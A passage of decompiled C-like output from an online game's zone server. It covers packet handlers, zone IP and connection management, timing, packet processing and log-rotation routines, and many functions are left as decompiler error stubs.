"572C60: undefined or illegal type '#593' (funcsize=131)" //----- (00572E20) -------------------------------------------------------- #error "572E20: undefined or illegal type '#593' (funcsize=197)" //----- (005730D0) -------------------------------------------------------- #error "5730D0: undefined or illegal type '#593' (funcsize=203)" //----- (005733A0) -------------------------------------------------------- #error "5733A0: undefined or illegal type '#593' (funcsize=122)" //----- (00573540) -------------------------------------------------------- #error "573540: undefined or illegal type '#593' (funcsize=69)" //----- (00573640) -------------------------------------------------------- #error "573640: undefined or illegal type '#593' (funcsize=69)" //----- (00573740) -------------------------------------------------------- #error "573740: undefined or illegal type '#593' (funcsize=41)" //----- (00573800) -------------------------------------------------------- #error "573800: undefined or illegal type '#593' (funcsize=145)" //----- (00573A00) -------------------------------------------------------- #error "573A00: undefined or illegal type '#593' (funcsize=40)" //----- (00573AB0) -------------------------------------------------------- #error "573AB0: undefined or illegal type '#593' (funcsize=76)" //----- (00573C00) -------------------------------------------------------- #error "573C00: undefined or illegal type '#593' (funcsize=76)" //----- (00573D50) -------------------------------------------------------- #error "573D50: undefined or illegal type '#593' (funcsize=76)" //----- (00573EA0) -------------------------------------------------------- #error "573EA0: undefined or illegal type '#593' (funcsize=76)" //----- (00573FF0) -------------------------------------------------------- #error "573FF0: undefined or illegal type '#593' (funcsize=76)" //----- (00574140) -------------------------------------------------------- #error "574140: undefined or illegal type '#593' (funcsize=201)" //----- (00574400) -------------------------------------------------------- #error "574400: undefined or illegal type '#593' (funcsize=153)" //----- (00574640) -------------------------------------------------------- #error "574640: undefined or illegal type '#593' (funcsize=35)" //----- (005746F0) -------------------------------------------------------- #error "5746F0: undefined or illegal type '#593' (funcsize=58)" //----- (005747F0) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(ZoneRingPacketEmtpyInstanceDungeon *this, #593 *a2, NETCOMMAND *netcmd) { ZoneRingPacketEmtpyInstanceDungeon *v3; // esi@1 char *v4; // eax@1 int v5; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->baseclass_0.vfptr->zrpb_Success((ZoneRingPacketBase *)v3, a2, netcmd); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4273; v5 = (int)(v4 + 2); *(_DWORD *)(v4 + 2) = *(_DWORD *)&netcmd[1].protocol; *(_DWORD *)(v4 + 6) = *(_DWORD *)&netcmd[3].protocol; *((_WORD *)v4 + 5) = netcmd[5].protocol; v4[12] = LOBYTE(netcmd[6].protocol); v4[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v5 + 1) = -1; *(_DWORD *)(v5 + 3) = *(_DWORD *)((char *)&netcmd[2].protocol + 1); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 13); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"); } //----- (005748F0) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(ZoneRingPacketEmtpyInstanceDungeon *this, #593 *a2, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon( &mapclustermanager, *(INSTANCE_DUNGEON::CATEGORY *)((char *)&netcmd[4].protocol + 1), *(_DWORD *)((char *)&netcmd[2].protocol + 1), 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"); } //----- (005749A0) -------------------------------------------------------- #error "5749A0: undefined or illegal type '#1265' (funcsize=61)" //----- (00574AD0) -------------------------------------------------------- void __thiscall ZoneRingPacketItemBonus::zrpb_Success(ZoneRingPacketItemBonus *this, #593 *a2, NETCOMMAND *netcmd) { ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingPacketItemBonus::zrpb_Success"); v3 = fieldlist.baseclass_0.l_Array; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketItemBonus::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3[fieldlist.baseclass_0.l_Finger.store].ls_Next; while ( v4 < fieldlist.baseclass_0.l_MaxSize ) { v5 = v4; v6 = v4 < fieldlist.baseclass_0.l_MaxSize; v4 = v3[v4].ls_Next; if ( v6 ) { v7 = (int)&v3[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( v8 != -76 ) { *(_DWORD *)(v8 + 80) = *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1); v3 = fieldlist.baseclass_0.l_Array; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingPacketItemBonus::zrpb_Success"); } //----- (00574B90) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::zrpb_Success(ZoneRingPacketExpBonus *this, #593 *a2, NETCOMMAND *netcmd) { ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingPacketExpBonus::zrpb_Success"); v3 = fieldlist.baseclass_0.l_Array; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketExpBonus::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3[fieldlist.baseclass_0.l_Finger.store].ls_Next; while ( v4 < fieldlist.baseclass_0.l_MaxSize ) { v5 = v4; v6 = v4 < fieldlist.baseclass_0.l_MaxSize; v4 = v3[v4].ls_Next; if ( v6 ) { v7 = (int)&v3[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( v8 != -76 ) { *(_DWORD *)(v8 + 76) = *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1); v3 = fieldlist.baseclass_0.l_Array; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingPacketExpBonus::zrpb_Success"); } //----- (00574C50) -------------------------------------------------------- #error "574C50: undefined or illegal type '#593' (funcsize=70)" //----- (00574D60) -------------------------------------------------------- #error "574D60: undefined or illegal type '#593' (funcsize=225)" //----- (00575080) -------------------------------------------------------- void __thiscall ZoneIPContainer::_ZoneIPContainer(ZoneIPContainer *this) { _eh_vector_destructor_iterator_( this, 0x12u, 12, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00575090) -------------------------------------------------------- void __thiscall ZoneIPContainer::zipc_Store(ZoneIPContainer *this, unsigned int machine, char *ipaddr, unsigned __int16 port) { char *v4; // esi@4 if ( machine >= 0xC ) { AssertClass::ac_AssertFail(&shineassert, "ZoneIPContainer::zipc_Store : Invalid mechine", machine); ShineExit("ZoneIPContainer::zipc_Store"); } v4 = (char *)this + 18 * machine; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = 0; *(_DWORD *)v4 = 0; strncpy(v4, ipaddr, 0x10u); *((_WORD *)v4 + 8) = port; } //----- (00575100) -------------------------------------------------------- Name4 *__thiscall ZoneIPContainer::zipc_GetNextIP(ZoneIPContainer *this) { return &this->zipc_NextIP; } //----- (00575110) -------------------------------------------------------- void __thiscall ZoneIPContainer::zipc_SetNextIP(ZoneIPContainer *this, unsigned int mymachine) { unsigned int v2; // esi@1 ZoneIPContainer *v3; // ebx@1 int v4; // eax@2 char *v5; // eax@8 char v6[4]; // [sp+14h] [bp-10h]@2 int v7; // [sp+18h] [bp-Ch]@2 int v8; // [sp+1Ch] [bp-8h]@2 int v9; // [sp+20h] [bp-4h]@2 v2 = mymachine + 1; v3 = this; if ( mymachine + 1 >= 0xC || (v9 = 0, v8 = 0, v7 = 0, *(_DWORD *)v6 = 0, strncpy(v6, byte_635E1E, 0x10u), v4 = (int)((char *)v3 + 18 * v2), *(_DWORD *)&v3->zipc_IPAddress[v2].addr.n4_name[0] == *(_DWORD *)v6) && *(_DWORD *)(v4 + 4) == v7 && *(_DWORD *)(v4 + 8) == v8 && *(_DWORD *)(v4 + 12) == v9 ) v2 = 0; if ( v2 == mymachine ) { v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)v6 = 0; strncpy(v6, byte_635E1E, 0x10u); v5 = v6; } else { v5 = (char *)v3 + 18 * v2; } *(_DWORD *)&v3->zipc_NextIP.n4_name[0] = *(_DWORD *)v5; *(_DWORD *)&v3->zipc_NextIP.n4_name[4] = *((_DWORD *)v5 + 1); *(_DWORD *)&v3->zipc_NextIP.n4_name[8] = *((_DWORD *)v5 + 2); *(_DWORD *)&v3->zipc_NextIP.n4_name[12] = *((_DWORD *)v5 + 3); } //----- (005751E0) -------------------------------------------------------- int __thiscall ZoneIPContainer::zipc_GetNextZoneNo(ZoneIPContainer *this, unsigned int mymachine) { unsigned int v2; // esi@1 ZoneIPContainer *v3; // edi@1 int result; // eax@2 int v5; // eax@3 char v6[4]; // [sp+8h] [bp-10h]@3 int v7; // [sp+Ch] [bp-Ch]@3 int v8; // [sp+10h] [bp-8h]@3 int v9; // [sp+14h] [bp-4h]@3 v2 = mymachine + 1; v3 = this; if ( mymachine + 1 < 0xC ) { v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)v6 = 0; strncpy(v6, byte_635E1E, 0x10u); v5 = (int)((char *)v3 + 18 * v2); if ( *(_DWORD *)&v3->zipc_IPAddress[v2].addr.n4_name[0] != *(_DWORD *)v6 || *(_DWORD *)(v5 + 4) != v7 || *(_DWORD *)(v5 + 8) != v8 || *(_DWORD *)(v5 + 12) != v9 ) result = mymachine + 1; else result = 0; } else { result = 0; } return result; } //----- (00575270) -------------------------------------------------------- char __thiscall ZoneIPContainer::zipc_Mechine2IP(ZoneIPContainer *this, char machine, Name4 *zoneip, unsigned __int16 *port) { char v4; // al@1 ZoneIPContainer *v5; // esi@1 char result; // al@4 int v7; // eax@5 int v8; // edx@5 int v9; // eax@5 v4 = machine; v5 = this; if ( machine == 99 ) v4 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); if ( (unsigned __int8)v4 < 0xCu ) { v7 = 9 * (unsigned __int8)v4; v8 = *(_DWORD *)&v5->zipc_IPAddress[2 * v7 / 0x12u].addr.n4_name[0]; v9 = (int)((char *)v5 + 2 * v7); *(_DWORD *)&zoneip->n4_name[0] = v8; *(_QWORD *)&zoneip->n4_name[4] = *(_QWORD *)(v9 + 4); *(_DWORD *)&zoneip->n4_name[12] = *(_DWORD *)(v9 + 12); *port = *(_WORD *)(v9 + 16); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ZoneIPContainer::zipc_Mechine2IP : Invalid machine number", (unsigned __int8)v4); result = 0; } return result; } //----- (005752F0) -------------------------------------------------------- void __thiscall ZoneIPContainer::ZoneIPContainer(ZoneIPContainer *this) { ZoneIPContainer *v1; // ebx@1 int v2; // esi@1 signed int v3; // ebp@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x12u, 12, (void (__thiscall *)(void *))PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)&v1->zipc_NextIP.n4_name[12] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[8] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[4] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[0] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[12] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[8] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[4] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[0] = 0; strncpy(v1->zipc_NextIP.n4_name, byte_635E1E, 0x10u); v2 = (int)&v1->zipc_IPAddress[0].addr.n4_name[8]; v3 = 12; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; strncpy((char *)(v2 - 8), byte_635E1E, 0x10u); v2 += 18; --v3; } while ( v3 ); } //----- (00575370) -------------------------------------------------------- unsigned int __thiscall ClockWatch::cw_Set(ClockWatch *this) { ClockWatch *v1; // esi@1 DWORD v2; // eax@1 unsigned int v3; // edi@1 int v4; // eax@1 unsigned __int64 v5; // kr00_8@1 unsigned __int64 v6; // ST00_8@1 unsigned __int64 v7; // qax@1 v1 = this; v2 = timeGetTime(); v3 = v2; v4 = v2 - v1->cw_LastMilliSec; v5 = (unsigned int)v4 + v1->cw_TotalMilliSec; v6 = (unsigned int)v4 + v1->cw_TotalMilliSec; v1->cw_CurrMilliSec = v3; v1->cw_TotalMilliSec = v5; v7 = 10 * v6 / 0x3E8; HIDWORD(v7) = (unsigned int)(10 * (v3 - v1->cw_LastMilliSecByDelta) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; *(_QWORD *)&v1->cw_CurrTick = v7; v1->cw_LastMilliSec = v3; if ( HIDWORD(v7) ) v1->cw_LastMilliSecByDelta = v3; return v7; } //----- (005753F0) -------------------------------------------------------- void __cdecl message(char *msg) { _iobuf *v1; // esi@1 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); } //----- (00575420) -------------------------------------------------------- void __thiscall CWeaponTitleZone::CWeaponTitleZone(CWeaponTitleZone *this) { CWeaponTitle::CWeaponTitle(&this->baseclass_0); } //----- (00575440) -------------------------------------------------------- void __thiscall CCharacterTitleData::CCharacterTitleData(BinaryData *this) { CDataReader::CDataReader(&this->baseclass_0); } //----- (00575460) -------------------------------------------------------- void __thiscall CCharacterTitleDataStateServer::CCharacterTitleDataStateServer(CCharacterTitleDataStateServer *this) { CDataReader::CDataReader(&this->m_CharacterTitleDataStateData); } //----- (00575480) -------------------------------------------------------- void __thiscall CCharacterTitleDataStateServer::_CCharacterTitleDataStateServer(CCharacterTitleDataStateServer *this) { CDataReader::_CDataReader(&this->m_CharacterTitleDataStateData); } //----- (00575490) -------------------------------------------------------- CServerInfo *__thiscall ZoneServer::zs_mechineinfo(ZoneServer *this) { return (CServerInfo *)&this->zs_serverinfo; } //----- (005754A0) -------------------------------------------------------- CServerInfo::MY_SERVER *__thiscall ZoneServer::zs_worlddata(ZoneServer *this) { return (CServerInfo::MY_SERVER *)&this->gap50[1256]; } //----- (005754B0) -------------------------------------------------------- void __thiscall ZoneServer::zs_serviceend(ZoneServer *this) { ZoneServer *v1; // esi@1 bool v2; // zf@1 v1 = this; v2 = this->zs_mainthread.activ == 0; this->zs_mainthread.stop = 1; if ( !v2 ) { do Sleep(5u); while ( v1->zs_mainthread.activ ); } } //----- (005754D0) -------------------------------------------------------- char *__thiscall ZoneServer::zs_GetServerGroup(ZoneServer *this) { return &this->gap50[1292]; } //----- (005754E0) -------------------------------------------------------- char __thiscall ZoneServer::zs_Getportinfo(ZoneServer *this, CServerInfo::SERVER_INFO *serverinfo, int towhere) { ZoneServer *v3; // esi@1 char result; // al@2 v3 = this; if ( CServerInfo::GetServerInfo( (CServerInfo *)&this->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&this->gap50[1268], *(_DWORD *)&this->gap50[1272], *(_DWORD *)&this->gap50[1264]) || CServerInfo::GetServerInfo( (CServerInfo *)&v3->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&v3->gap50[1268], *(_DWORD *)&v3->gap50[1272], 0) || CServerInfo::GetServerInfo( (CServerInfo *)&v3->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&v3->gap50[1268], 0, *(_DWORD *)&v3->gap50[1264]) ) result = 1; else result = CServerInfo::GetServerInfo( (CServerInfo *)&v3->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&v3->gap50[1268], 0, 0) != 0; return result; } //----- (00575580) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServerConnect2Zone(ZoneServer *this, ZoneBaseSession *session) { ZoneServer *v2; // ebx@1 int v3; // eax@2 int v5; // esi@4 Name4 *v6; // eax@4 unsigned int v7; // ecx@4 char *v8; // ecx@4 _iobuf *v9; // edi@4 Name4 *v10; // eax@4 unsigned int v11; // ecx@4 char *v12; // ecx@4 Name4 *v13; // eax@5 char buffer[64]; // [sp+8h] [bp-44h]@1 unsigned int v15; // [sp+48h] [bp-4h]@1 v15 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !session->m_Status ) { v3 = ZoneIPContainer::zipc_GetNextZoneNo(&zipc, unk_14B984E0); if ( v3 == -1 ) return 0; v5 = v3 + 100 * (unk_14B984DC + 120); v6 = ZoneIPContainer::zipc_GetNextIP(&zipc); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)&v6->n4_name[0]; *((_DWORD *)v8 + 1) = *(_DWORD *)&v6->n4_name[4]; *((_DWORD *)v8 + 2) = *(_DWORD *)&v6->n4_name[8]; *((_DWORD *)v8 + 3) = *(_DWORD *)&v6->n4_name[12]; v8[16] = 0; sprintf(buffer, "Try to connect[%s:%d]"); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); v10 = ZoneIPContainer::zipc_GetNextIP(&zipc); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)&v10->n4_name[0]; *((_DWORD *)v12 + 1) = *(_DWORD *)&v10->n4_name[4]; *((_DWORD *)v12 + 2) = *(_DWORD *)&v10->n4_name[8]; *((_DWORD *)v12 + 3) = *(_DWORD *)&v10->n4_name[12]; v12[16] = 0; if ( ZoneBaseSession::Connect(session, v12, v5, &v2->zs_IOCP) ) { v13 = ZoneIPContainer::zipc_GetNextIP(&zipc); NameString::operator__(&namestring, v13); sprintf(buffer, "Connect Success[%s:%d]"); message(buffer); session->m_Status = 2; } } return 1; } //----- (00575700) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServerConnect(ZoneServer *this, ZoneBaseSession *session, int towhere, int limit) { int v4; // esi@1 ZoneServer *v5; // ebx@1 _iobuf *v7; // esi@4 bool v8; // sf@9 unsigned __int8 v9; // of@9 CIOCP *pIOCP; // [sp+10h] [bp-6Ch]@1 char serverinfo; // [sp+14h] [bp-68h]@2 char *pIPAddress; // [sp+28h] [bp-54h]@6 int PortNo; // [sp+2Ch] [bp-50h]@6 char buffer[64]; // [sp+38h] [bp-44h]@4 unsigned int v15; // [sp+78h] [bp-4h]@1 v15 = (unsigned int)&pIOCP ^ __security_cookie; v4 = -1; v5 = this; if ( !session->m_Status ) { if ( !ZoneServer::zs_Getportinfo(this, (CServerInfo::SERVER_INFO *)&serverinfo, towhere) ) { AssertClass::ac_AssertFail( &shineassert, "ZoneServer::zs_serverconnect : No serverinfo for connect to server", towhere); return 0; } sprintf(buffer, "Try to connect[%s:%d]%d"); v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); v4 = 0; if ( limit > 0 ) { pIOCP = &v5->zs_IOCP; while ( !ZoneBaseSession::Connect(session, pIPAddress, PortNo, pIOCP) ) { Sleep(0x64u); ++v4; if ( v4 >= limit ) goto LABEL_11; } v9 = __OFSUB__(v4, limit); v8 = v4 - limit < 0; if ( v4 >= limit ) return v8 ^ v9; session->m_LastHeartBeatSendTime = CGTimer::GetTime(); session->m_Status = 2; } } LABEL_11: v9 = __OFSUB__(v4, limit); v8 = v4 - limit < 0; return v8 ^ v9; } //----- (00575830) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_Acceptor(ZoneServer *this) { ZoneServer *v1; // edi@1 int v2; // ecx@1 int v3; // edx@1 int v5; // ebx@7 int v6; // eax@12 int v7; // eax@13 int datanum; // [sp+8h] [bp-90h]@1 char serverinfo; // [sp+Ch] [bp-8Ch]@8 int v10; // [sp+10h] [bp-88h]@9 int v11; // [sp+14h] [bp-84h]@10 int v12; // [sp+18h] [bp-80h]@11 unsigned int UserData; // [sp+1Ch] [bp-7Ch]@12 char *pIPAddress; // [sp+20h] [bp-78h]@12 int PortNo; // [sp+24h] [bp-74h]@12 int BacklogCount; // [sp+28h] [bp-70h]@12 char clientinfo; // [sp+30h] [bp-68h]@1 int MaxSessions; // [sp+50h] [bp-48h]@3 char buffer[64]; // [sp+54h] [bp-44h]@14 unsigned int v20; // [sp+94h] [bp-4h]@1 v1 = this; v2 = *(_DWORD *)&this->gap50[1268]; v3 = *(_DWORD *)&v1->gap50[1264]; v20 = (unsigned int)&datanum ^ __security_cookie; if ( !CServerInfo::GetServerInfo( (CServerInfo *)&v1->zs_serverinfo, (CServerInfo::SERVER_INFO *)&clientinfo, v3, v2, *(_DWORD *)&v1->gap50[1272], 20) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : No data for client listen", 0); return 0; } if ( !ClientSessionManager::InitSessions(&v1->zs_clientsessionmanager, MaxSessions) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : Init session fail", 0); return 0; } if ( !CSocket_Acceptor::Listen_Start(&v1->zs_Acceptor) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : Listen Start fail", 0); return 0; } v5 = 0; datanum = CServerInfo::GetNumOfData((CServerInfo *)&v1->zs_serverinfo); if ( datanum <= 0 ) return 1; while ( 1 ) { if ( !CServerInfo::GetServerInfo((CServerInfo *)&v1->zs_serverinfo, (CServerInfo::SERVER_INFO *)&serverinfo, v5) || v10 != *(_DWORD *)&v1->gap50[1264] || v11 != *(_DWORD *)&v1->gap50[1268] || v12 != *(_DWORD *)&v1->gap50[1272] ) goto LABEL_15; v6 = CSocket_Acceptor::Listen_Add(&v1->zs_Acceptor, pIPAddress, PortNo, UserData, BacklogCount); if ( AssertClass::operator__(&shineassert, v6, "ZoneServer::zs_Start_Acceptor : Listen fail", 0) ) return 0; v7 = CSocket_Acceptor::Listen_Add(&v1->zs_Acceptor, pIPAddress, unk_14B984E0 + 100 * (unk_14B984DC + 120), 0x64u, 3); if ( AssertClass::operator__(&shineassert, v7, "ZoneServer::zs_Start_Acceptor : Listen fail", 0) ) return 0; sprintf(buffer, "Listen from Zone[%d]"); message(buffer); LABEL_15: ++v5; if ( v5 >= datanum ) return 1; } } //----- (00575A40) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_ServiceThreadFunction(void *param) { CServerInfo *v1; // edi@1 int v2; // eax@8 unsigned int result; // eax@9 bool v4; // zf@12 char LuaPath[512]; // [sp+8h] [bp-204h]@1 unsigned int v6; // [sp+208h] [bp-4h]@1 v1 = (CServerInfo *)((char *)param + 64); v6 = (unsigned int)LuaPath ^ __security_cookie; *((_BYTE *)param + 32) = 1; *((_BYTE *)param + 33) = 0; *((_DWORD *)param + 11) = 0; if ( !CServerInfo::ReadServerInfo((CServerInfo *)((char *)param + 64), "ZoneServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); if ( !CServerInfo::ReadServerInfo(v1, "../9Data/ServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); ShineExit("ZoneServer::zs_start"); } } if ( !CServerInfo::GetMyServerInfo(v1, (CServerInfo::MY_SERVER *)((char *)param + 1336)) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail Serverinfo", 0); ShineExit("ZoneServer::zs_start"); } ShineObjectManager::som_Initialize(&shineobjmanager); DirectDistanceTable::ddt_Initialize(&ddt); getenv("LUA_PATH"); sprintf(LuaPath, "LUA_PATH=%s;%s"); _putenv(LuaPath); ZoneServer::zs_start_old((ZoneServer *)param); g_ZoneServer = (ZoneServer *)param; v2 = LuaScript::ls_FunctionCall(&g_LUA_SCRIPT_SECURITY, "tmfpemfjs", &LuaScriptArgument::lsa_NoLuaArgument); if ( (_BYTE)v2 ) { while ( *(_BYTE *)param ) Sleep(0x3E8u); v4 = *(_BYTE *)param == 0; *((_BYTE *)param + 1) = 1; if ( !v4 ) { do Sleep(5u); while ( *(_BYTE *)param ); } result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : function call error", v2); result = -3; } return result; } //----- (00575BC0) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_stackcheckfunc(void *param) { int v1; // edi@2 *((_BYTE *)param + 16) = 1; *((_BYTE *)param + 17) = 0; *((_DWORD *)param + 7) = 0; do { v1 = *((_DWORD *)param + 3); if ( *((_DWORD *)param + 7) == v1 ) FunctionCallingAnalyzer::fca_printf(&funcallanalizer, "ShineStackStruct"); *((_DWORD *)param + 7) = v1; Sleep(0x2710u); } while ( !*((_BYTE *)param + 17) ); *((_BYTE *)param + 16) = 0; return 0; } //----- (00575C20) -------------------------------------------------------- int __thiscall ZoneServer::zs_PacketProcess(ZoneServer *this, char *from, ZoneBaseSession *session) { ZoneBaseSession *v3; // esi@1 ZoneBaseSession::SESSION_STATUS v4; // eax@1 signed int i; // edi@3 int v6; // eax@5 int v7; // eax@6 v3 = session; v4 = session->m_Status; if ( (signed int)v4 > 0 && (signed int)v4 <= 2 ) { for ( i = 0; i < 1000; ++i ) { v6 = v3->m_Packet.vfptr->IsValidPacket(&v3->m_Packet); if ( !v6 ) { if ( v3->m_Packet.vfptr->RemoveAllUsedPacket(&v3->m_Packet) ) ZoneBaseSession::Receive(v3); return 0; } v7 = v6 - 1; if ( !v7 ) { v3->vfptr->zbs_Parsing(v3, 0, 65535u); v3->m_Packet.vfptr->TakeNextPacket(&v3->m_Packet); ++sleepmanager.sm_PacketNumber; return 0; } if ( v7 == 1 ) { v3->m_Packet.vfptr->GetPacketSize(&v3->m_Packet, (int *)&session); if ( (signed int)session >= 0 ) { v3->m_Packet.vfptr->GetIDPtr(&v3->m_Packet); v3->m_Status = 3; } return 1; } } } return 2; } //----- (00575D00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_LoginIPSet(int this, char a0, char a1, char a2, char a3) { char result; // al@1 *(_BYTE *)(this + 143268) = a0; result = a2; *(_BYTE *)(this + 143269) = a1; *(_BYTE *)(this + 143270) = a2; *(_BYTE *)(this + 143271) = a3; return result; } //----- (00575D30) -------------------------------------------------------- void __cdecl EraseOldLogList(char *filename) { char *v1; // edi@1 int v2; // esi@1 signed int v3; // ecx@1 bool v4; // zf@1 _iobuf *v5; // esi@6 char *v6; // eax@8 unsigned int v7; // edx@8 char v8; // cl@9 v1 = filename; v2 = (int)"ChargedItemLog"; v3 = 15; v4 = 1; do { if ( !v3 ) break; v4 = *(_BYTE *)v2++ == *v1++; --v3; } while ( v4 ); if ( !v4 ) { if ( erasenum >= 128 ) { v5 = fopen("Message.txt", "w"); fprintf(v5, "void EraseOldLogList(char *filename)\n"); fclose(v5); ShineExit("EraseOldLogList"); } v6 = filename; v7 = &erasefile[128 * erasenum] - filename; do { v8 = *v6; v6[v7] = *v6; ++v6; } while ( v8 ); ++erasenum; } } //----- (00575DB0) -------------------------------------------------------- int __cdecl EraseLog() { int result; // eax@1 unsigned int v1; // esi@2 tm *v2; // eax@3 int v3; // ebx@3 char *v4; // eax@5 char v5; // cl@6 char *v6; // edi@7 char v7; // al@8 __int16 v8; // ax@9 HANDLE v9; // ebp@9 unsigned int v10; // eax@10 char *v11; // esi@10 char *v12; // edi@10 int v13; // eax@11 bool v14; // sf@16 unsigned __int8 v15; // of@16 char *v16; // [sp+0h] [bp-258h]@1 unsigned int v17; // [sp+4h] [bp-254h]@2 int k; // [sp+8h] [bp-250h]@1 int lastmonth; // [sp+Ch] [bp-24Ch]@3 time_t timevar; // [sp+10h] [bp-248h]@3 struct _WIN32_FIND_DATAA FindData; // [sp+14h] [bp-244h]@7 char path[255]; // [sp+154h] [bp-104h]@2 unsigned int v23; // [sp+254h] [bp-4h]@1 v23 = (unsigned int)&v16 ^ __security_cookie; result = erasenum; k = 0; if ( erasenum > 0 ) { v1 = path - erasefile; v16 = erasefile; v17 = path - erasefile; do { mysecond(&timevar); v2 = localtime(&timevar); v3 = v2->tm_mon + 1; lastmonth = v2->tm_mon; if ( !lastmonth ) lastmonth = 12; v4 = v16; do { v5 = *v4; v4[v1] = *v4; ++v4; } while ( v5 ); v6 = &FindData.cAlternateFileName[15]; do v7 = (v6++)[1]; while ( v7 ); v8 = word_67A3DC; *(_DWORD *)v6 = *(_DWORD *)"*.txt"; *((_WORD *)v6 + 2) = v8; v9 